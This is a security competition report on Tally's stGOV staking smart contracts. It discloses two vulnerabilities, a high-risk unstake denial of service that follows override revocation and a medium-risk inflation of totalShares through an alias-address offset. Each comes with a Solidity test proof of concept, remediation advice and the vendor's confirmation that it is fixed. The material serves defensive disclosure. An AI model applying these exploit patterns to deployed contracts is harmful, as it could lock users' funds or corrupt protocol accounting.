CANTINA

Tally stgov

Competition

April 2, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Tally is the industry standard for driving long-term protocol success. Foundations, delegates, and token holders use Tally to manage $31+ billion in value for onchain protocols.

From Mar 10th to Mar 17th Cantina hosted a competition based on tally-stGOV. The participants identified a total of **4** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 1
- Medium Risk: 1
- Low Risk: 1
- Gas Optimizations: 0
- Informational: 1

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 DoS of funds if a `depositId` was overriden then revoked

Submitted by 0xAlix2, also found by zraxx, 0xAlix2 and 0xAlix2

Severity: High Risk

Context: GovLst.sol#L1271

Description: If the earning power of a specific deposit ID goes below a threshold which is. (`uint256(_earningPower) * BIPS < minQualifyingEarningPowerBips * _balance`) then anyone can call enactOveride to move the delegation to the default deposit ID to make sure the delegators still get rewards. To make this profitable for the caller anyone who calls this function will get tips in shares. However, since we are minting shares this will cause the initial balance of the depositor to go down however the delegated balance of the user (balanceCheckpoint will stay the same) which is greater than the user's initial balance will cause the unstake to always revert with underflow when calculating the undelegated balance.

Proof of Concept:

```
function testFuzz_cantUnstakeBalance() public {

    address _holder = makeAddr("holder");
    address _delegatee = makeAddr("delegate address");
    address _tipReceiver = makeAddr("tip reciever");
    uint256 _amount = 100e18;
    uint160 _tipAmount = 20000;
    uint256 _minQualifyingEarningPowerBips = 10_000;

    _mintUpdateDelegateeAndStake(_holder, _amount, _delegatee);
    _setMaxOverrideTip();
    _setMinQualifyingEarningPowerBips(_minQualifyingEarningPowerBips);

    // Set deposit earning power below threshold
    Staker.DepositIdentifier _depositId = lst.depositForDelegatee(_delegatee);
    // update min power
    earningPowerCalculator.__setEarningPowerForDelegatee(_delegatee, 0);
    // Force the earning power on the deposit to change
    vm.prank(address(lst));
    staker.stakeMore(_depositId, 0);
    //override
    lst.enactOverride(_depositId, _tipReceiver, _tipAmount);
    (uint96 _depositBalance,,,,,,) = staker.deposits(_depositId);
    // Earning power should always be equal to balance
    uint256 _earningPower = _depositBalance;
    earningPowerCalculator.__setEarningPowerForDelegatee(_delegatee, _earningPower);

    // Force the earning power on the deposit to change
    vm.prank(address(lst));
    staker.stakeMore(_depositId, 0);

    lst.revokeOverride(_depositId, _delegatee, _tipReceiver, _tipAmount);

    _unstake(_holder, 1e18);
}
```

Recommendation: Calculate the delegated balance (the balanceCheckpoint)so that it will be:

```
uint256 _delegatedBalance =_min(_calcBalanceOf(_holderState, _totals),_holderState.balanceCheckpoint);
```

Tally: Fixed.

Cantina Managed: Fixed by removing the dilutive fee emission altogether.

3.2 Medium Risk

3.2.1 Inflation of `totalShares` in `FixedGovLst` Due to Alias Address Exploit

Submitted by aksoy, also found by cergyk and Kasheeda

Severity: Medium Risk

Context: FixedGovLst.sol#L213

Summary: An attacker can exploit the `FixedGovLst` transfer function to artificially inflate the `totalShares` repeatedly transferring tokens to himself and convert to `GovLst` to `FixedGovLst`. This can lead to an overflow of `totalShares`, disrupting the system's accounting and preventing new stakes or rescues.

Finding Description: The `FixedGovLst` contract uses the `fixedAlias` function to generate alias addresses by adding a fixed offset (`ALIAS_OFFSET = 0x010101`) to the original address. An attacker can exploit this by transferring tokens to an address that is `ALIAS_OFFSET` less than their own address (`_receiver = address(this) - ALIAS_OFFSET`). This causes the `transferFixed` function in the `GovLst` contract to update the `shareBalances` of the alias address (`_receiver.fixedAlias()`), which resolves back to the original address.

Since `GovLst` balance increased for the user, these `GovLst` tokens can be used to unstake or converted `FixedGovLst` without decreasing `totalShares`. By repeatedly transferring tokens to the alias address and converting them back, the attacker can artificially inflate the `totalShares` in the `FixedGovLst` contract. This can lead to an overflow of `totalShares`, preventing new stakes or rescues.

```
function transfer(address _to, uint256 _fixedTokens) external virtual returns (bool) {
  _transfer(msg.sender, _to, _fixedTokens);
  return true;
}

function _transfer(address _from, address _to, uint256 _fixedTokens) internal virtual {
  if (balanceOf(_from) < _fixedTokens) {
    revert FixedGovLst__InsufficientBalance();
  }

  (uint256 _senderShares, uint256 _receiverShares) = LST.transferFixed(_from, _to, _scaleUp(_fixedTokens));
  shareBalances[_from] -= _senderShares;
  shareBalances[_to] += _receiverShares;

  emit IERC20.Transfer(_from, _to, _fixedTokens);
}
```

Example Scenario:

- `Attacker = 0xaaa`.
- `Receiver = 0xaaa - ALIAS_OFFSET`.

1. Attacker stakes `1e18 GovLst`, receiving `1e18 FixedGovLst` and `totalShares` increase `1e18*1e10`.
2. Attacker transfers `FixedGovLst` to receiver (`attacker - ALIAS_OFFSET`).
3. This increased attacker `GovLst` balance. which attacker free to use as `GovLst`.
4. The attacker converts `GovLst` back to `FixedGovLst` increasing `totalShares`.
5. The attacker repeats the process, causing `totalShares` to grow indefinitely.

Impact Explanation: An overflow of `totalShares` can prevent new stakes or rescues.

Likelihood Explanation: if the token price is low, an attacker can borrow a significant amount of tokens using a flash loan, making the attack easy to execute. Additionally, the `GovLst` shares are scaled with a `SHARE_SCALE_FACTOR = 1e10`, which further increase the risk of overflow.

Proof of Concept:

```
//Inside   stGOV/test/FixedGovLst.t.sol
contract Transfer is FixedGovLstTest {

function test_totalSharesIncrease() public {
    address _sender = vm.addr(1);
    address _senderDelegatee = vm.addr(3);
    address _receiverDelegatee = vm.addr(4);

    uint160 ALIAS_OFFSET = 0x010101;
    address _receiver = address(uint160(_sender) - ALIAS_OFFSET);

    _assumeSafeHolders(_sender, _receiver);
    _assumeSafeDelegatees(_senderDelegatee, _receiverDelegatee);
```

```
    uint256 _stakeAmount = 10**18;
    uint256 stakeShare = 10**28;

    _mintStakeTokenUpdateFixedDelegateeAndStakeFixed(_sender, _stakeAmount, _senderDelegatee);

    assertEq(lst.balanceOf(_sender), 0);
    assertEq(lst.balanceOf(_receiver), 0);

    // Transfer to receiver (_sender - alias)
    _transferFixed(_sender, _receiver, _stakeAmount);

    // Supply = 10**18, share = 10**28
    assertEq(fixedLst.totalSupply(), _stakeAmount);
    assertEq(fixedLst.balanceOf(_sender), 0);
    assertEq(fixedLst.balanceOf(_receiver), _stakeAmount);

    // _sender balance increased and can use this as LST token
    assertEq(lst.balanceOf(_sender), _stakeAmount);
    assertEq(lst.balanceOf(_receiver), 0);

    vm.startPrank(_sender);
    fixedLst.convertToFixed(_stakeAmount);

    _transferFixed(_sender, _receiver, _stakeAmount);
    vm.startPrank(_sender);
    fixedLst.convertToFixed(_stakeAmount);

    //@audit totalSupply and totalShares only increase even though attacker use same amount
    assertEq(fixedLst.totalSupply(), 3 * _stakeAmount);
}
}
```

Recommendation: Instead of `ALIAS_OFFSET`, use a hash function to generate aliases uniquely for each address.

Tally: This is a legitimate flaw in using a simple offset for the alias address calculation. Let's call the address *minus* the offset the "opposite offset" of an address. Effectively, what's happening when the user transfers Fixed LST tokens to the opposite offset of their address is the tokens are exiting the Fixed LST system (because the user can never access them from the Fixed LST again) and re-entering the Rebasing LST (because the user can now access them on the rebasing side with their real address).

Although the tokens *effectively* exit the Fixed LST system, the Fixed LST *does not know this*, so the total shares the Fixed LST thinks it controls are not updated.

It's important to note that this attack is only superficial. The "real" accounting all happens on the Rebasing LST side, and the integrity of that accounting is maintained. No shares are being "*minted*" out of thin air, no account is earning extra rewards, etc... That's why the researcher who submitted the attack envisioned cycling this over and over again to overflow the Fixed LST total supply—this was the only way to use this superficial accounting error on the Fixed LST side to make the attack higher impact.

Such an attack is likely infeasible in reality due to ridiculous gas costs for the attacker. That said, we consider incorrect accounting on the Fixed LST side, even if superficial, to be a serious issue. We will correct this.

Cantina Managed: Fixed as recommended.